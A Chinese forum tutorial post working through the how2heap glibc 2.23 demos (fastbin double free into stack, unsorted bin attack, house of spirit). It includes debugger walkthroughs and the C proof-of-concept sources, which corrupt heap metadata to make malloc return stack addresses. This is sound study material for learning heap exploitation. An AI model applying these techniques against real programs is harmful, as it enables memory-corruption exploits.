首页
社区
课程
招聘
[原创]深入理解how2heap_2.23(1)
发表于: 2023-6-9 00:26 20852

[原创]深入理解how2heap_2.23(1)

2023-6-9 00:26
20852

ptmalloc2的管理方式,chunk结构和bins的模型,在Overview of GLIBC heap exploitation techniquesctfwiki已经讲解的非常清楚,本文记录自己的学习堆利用的过程。这个系列预计更新完glibc-2.23,2.27,2.31,2.35和相关例题。建议看完glibc源码分析后再来看,当然直接看也无所谓。

pwncli
PwnGdb
gdb配置参考

wsl-kali。配置参考我的另一篇文章
docker desktop镜像
ubuntu:16.04
ubuntu:18.04
ubuntu:22.04
编译时可以加-g来方便调试。
ida pro 7.7 + gdb调试。

源码

使用ubuntu:16.04进行编译

使用pwncli改写rpath

在malloc三次后, 0x400743处下断点

查看堆信息,三个fastbin的堆块,f1,f2,f3。

在free(f1),free(f2),free(f1)后,在0x40083B下断点。

查看fastbinY信息。

0x20大小的fastbins链上形成了double free。
再次malloc两次后,设断点在0x40089F

再次查看bins,因为申请两次后,fastbins中剩下f1(0x60300),而0x60300指向0x603020没有改变,0x603020指向0x60300也没变,并且fastbins中的chunk标记为prev_inuse一直为1,所以fastbins中依然保留这个ABA结构。

接下来,查看汇编代码,StackVar值改为0x20,为了放入0x20大小的fastbins,接下来把f1指向了StackVar以上0x8处,也就是prev_size的位置。将StackVar放入了0x20的fastbins中。在0x40092C处下断点。

查看堆信息。

这时候在申请两次便可申请到栈上。

在0x40095c下断点。

可以看到,已经申请到了栈上的值。

源码

首先申请了两个堆块,第一个堆块不属于fastbin大小,先进入unsortedbin中,第二个堆块为了防止第一块堆块与topchunk合并。在free第一个堆块前设置断点。
图片描述
查看bins和heap信息
图片描述
free第一个chunk以后,bins和heap信息,unsortedbin里的第一个chunk的fd和bk指向main_arena+0x58的位置。
图片描述
接下来利用uaf将unsortedbin中的第一个chunk的bk指针(rax存储的指针指向fd,rax+8指向bk,bk指向后加入的chunk)指向StackVar的prev_size位置。
图片描述
在0x4007D9处下断点,查看heap和bins信息。可以看到,0x602000处的chunk的bk指针被改为了一个栈值,fd指向main_arena+0x58的位置。
图片描述
再次将unsortedbin中第一个chunk给malloc出来以后,unsortedbin中仅剩StackVar-0x10。
图片描述
在0x400828下断点。查看heap和bins信息。
图片描述
可以看到,StackVar的fd指针即用户区域起始处已被修改为main_arena+0x58的值。

源码

首先申请两个堆块
第一次申请的0x100大小的堆块给了[rbp+ptr]。第二个0x100是阻断topchunk。
图片描述
接下来free(ptr),把ptr放入unsorted bin中。
图片描述
在0x4007A7其fd,bk指向main_arena+x58的位置。
图片描述
这里把var_28位置写为0x110。IDA里这个var_28中的0x28是16进制的偏移。
图片描述
这里把rax指向ptr-8的位置,特就是size处。然后将其改为0x20。unsorted bin有FIFO特性,下次申请0x100大小不会找到它。然后将ptr+8的位置指向var_30,也就是把ptr的bk指针指向var_0x28+0x8的位置(bk指向后进入unsorted bin的chunk),var_0x28=0x110,也就是伪造的chunk大小,var_30也就是prev_size的位置。
图片描述
在0x40081C下断点,可见ptr的bk指向栈。
图片描述
查看0x602410内存可见ptr的size位置被改为了0x20
图片描述
接下来申请0x100大小的chunk将会去unsorted bin寻找0x110大小的chunk,ptr已被改为0x20大小,所以跳过ptr申请到了栈上伪造的var_30处chunk。
图片描述
在0x40082B处下断点,可见malloc后,unsorted被整理,0x20大小的ptr放进了small bin。fd和bk都指向main_arena+104处。
图片描述
申请成功。

源码

初始化堆。
图片描述

在0x400703处下断点查看堆结构。
图片描述
栈中数组结构。fake_chunks_size = 0x40fake_chunks_next_size = 0x1234
图片描述
a 指向fake_chunks_fd,然后 free(a)
图片描述
成功将栈地址放入 fastbins 中。
图片描述
那麽此时申请0x30大小的空间会在fastbins中寻找0x40大小的chunk,便可成功申请到栈上。
图片描述

source ~/pwndbg/gdbinit.py
source ~/peda/peda.py
source ~/Pwngdb/pwngdb.py
source ~/Pwngdb/angelheap/gdbinit.py
 
define hook-run
python
import angelheap
angelheap.init_angelheap()
end
end
 
#set context-clear-screen on
#set debug-events off
 
#source /root/splitmind/gdbinit.py
#python
 
#sections = "regs"
 
#mode = input("source/disasm/mixed mode:?(s/d/m)") or "d"
 
#import splitmind
 
#spliter = splitmind.Mind()
#spliter.select("main").right(display="regs", size="50%")
#gdb.execute("set context-stack-lines 10")
 
#legend_on = "code"
#if mode == "d":
#    legend_on = "disasm"
#    sections += " disasm"
#    spliter.select("main").above(display="disasm", size="70%", banner="none")
#    gdb.execute("set context-code-lines 30")
 
#elif mode == "s":
#    sections += " code"
#    spliter.select("main").above(display="code", size="70%", banner="none")
#    gdb.execute("set context-source-code-lines 30")
 
#else:
#    sections += " disasm code"
#    spliter.select("main").above(display="code", size="70%")
#    spliter.select("code").below(display="disasm", size="40%")
#    gdb.execute("set context-code-lines 8")
#    gdb.execute("set context-source-code-lines 20")
 
 
#sections += " args stack backtrace expressions"
#spliter.show("legend", on=legend_on)
#spliter.show("stack", on="regs")
#spliter.show("backtrace", on="regs")
#spliter.show("args", on="regs")
#spliter.show("expressions", on="args")
 
#gdb.execute("set context-sections \"%s\"" % sections)
#gdb.execute("set show-retaddr-reg on")
 
#spliter.build()
 
#end
source ~/pwndbg/gdbinit.py
source ~/peda/peda.py
source ~/Pwngdb/pwngdb.py
source ~/Pwngdb/angelheap/gdbinit.py
 
define hook-run
python
import angelheap
angelheap.init_angelheap()
end
end
 
#set context-clear-screen on
#set debug-events off
 
#source /root/splitmind/gdbinit.py
#python
 
#sections = "regs"
 
#mode = input("source/disasm/mixed mode:?(s/d/m)") or "d"
 
#import splitmind
 
#spliter = splitmind.Mind()
#spliter.select("main").right(display="regs", size="50%")
#gdb.execute("set context-stack-lines 10")
 
#legend_on = "code"
#if mode == "d":
#    legend_on = "disasm"
#    sections += " disasm"
#    spliter.select("main").above(display="disasm", size="70%", banner="none")
#    gdb.execute("set context-code-lines 30")
 
#elif mode == "s":
#    sections += " code"
#    spliter.select("main").above(display="code", size="70%", banner="none")
#    gdb.execute("set context-source-code-lines 30")
 
#else:
#    sections += " disasm code"
#    spliter.select("main").above(display="code", size="70%")
#    spliter.select("code").below(display="disasm", size="40%")
#    gdb.execute("set context-code-lines 8")
#    gdb.execute("set context-source-code-lines 20")
 
 
#sections += " args stack backtrace expressions"
#spliter.show("legend", on=legend_on)
#spliter.show("stack", on="regs")
#spliter.show("backtrace", on="regs")
#spliter.show("args", on="regs")
#spliter.show("expressions", on="args")
 
#gdb.execute("set context-sections \"%s\"" % sections)
#gdb.execute("set show-retaddr-reg on")
 
#spliter.build()
 
#end
#include <stdio.h>
#include <stdlib.h>
 
int main()
{
    fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
           "returning a pointer to a controlled location (in this case, the stack).\n");
 
    unsigned long long stack_var;
 
    fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
 
    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);
 
    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);
 
    fprintf(stderr, "Freeing the first one...\n");
    free(a);
 
    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);
 
    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);
 
    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);
 
    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
        "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
    unsigned long long *d = malloc(8);
 
    fprintf(stderr, "1st malloc(8): %p\n", d);
    fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
    fprintf(stderr, "Now the free list has [ %p ].\n", a);
    fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
        "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
        "so that malloc will think there is a free chunk there and agree to\n"
        "return a pointer to it.\n", a);
    stack_var = 0x20;
 
    fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
 
    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
    fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}
#include <stdio.h>
#include <stdlib.h>
 
int main()
{
    fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
           "returning a pointer to a controlled location (in this case, the stack).\n");
 
    unsigned long long stack_var;
 
    fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
 
    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);
 
    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);
 
    fprintf(stderr, "Freeing the first one...\n");
    free(a);
 
    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);
 
    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);
 
    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);
 
    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
        "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
    unsigned long long *d = malloc(8);
 
    fprintf(stderr, "1st malloc(8): %p\n", d);
    fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
    fprintf(stderr, "Now the free list has [ %p ].\n", a);
    fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
        "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
        "so that malloc will think there is a free chunk there and agree to\n"
        "return a pointer to it.\n", a);
    stack_var = 0x20;
 
    fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
 
    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
    fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}
#include <stdio.h>
#include <stdlib.h>
 
int main(){
    fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
    fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
           "global variable global_max_fast in libc for further fastbin attack\n\n");
 
    unsigned long stack_var=0;
    fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
    fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);
 
    unsigned long *p=malloc(400);
    fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
    fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
           "the first one during the free()\n\n");
    malloc(500);
 
    free(p);
    fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
           "point to %p\n",(void*)p[1]);
 
    //------------VULNERABILITY-----------
 
    p[1]=(unsigned long)(&stack_var-2);
    fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
    fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);
 
    //------------------------------------
 
    malloc(400);
    fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
           "rewritten:\n");
    fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}
#include <stdio.h>

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2023-10-10 19:32 被jelasin编辑 ,原因:
收藏
免费 8
支持
分享
最新回复 (3)
雪    币: 2830
活跃值: (30806)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2023-6-9 09:08
1
雪    币: 3325
活跃值: (13943)
能力值: ( LV9,RANK:230 )
在线值:
发帖
回帖
粉丝
3
glibc完全可以替换libc嘛,在android 里面
2023-6-9 13:16
0
雪    币: 3902
活跃值: (6460)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
4
珍惜Any glibc完全可以替换libc嘛,在and
最后于 2023-9-25 07:17 被jelasin编辑 ,原因:
2023-6-30 11:33
0
游客
登录 | 注册 方可回帖
返回
//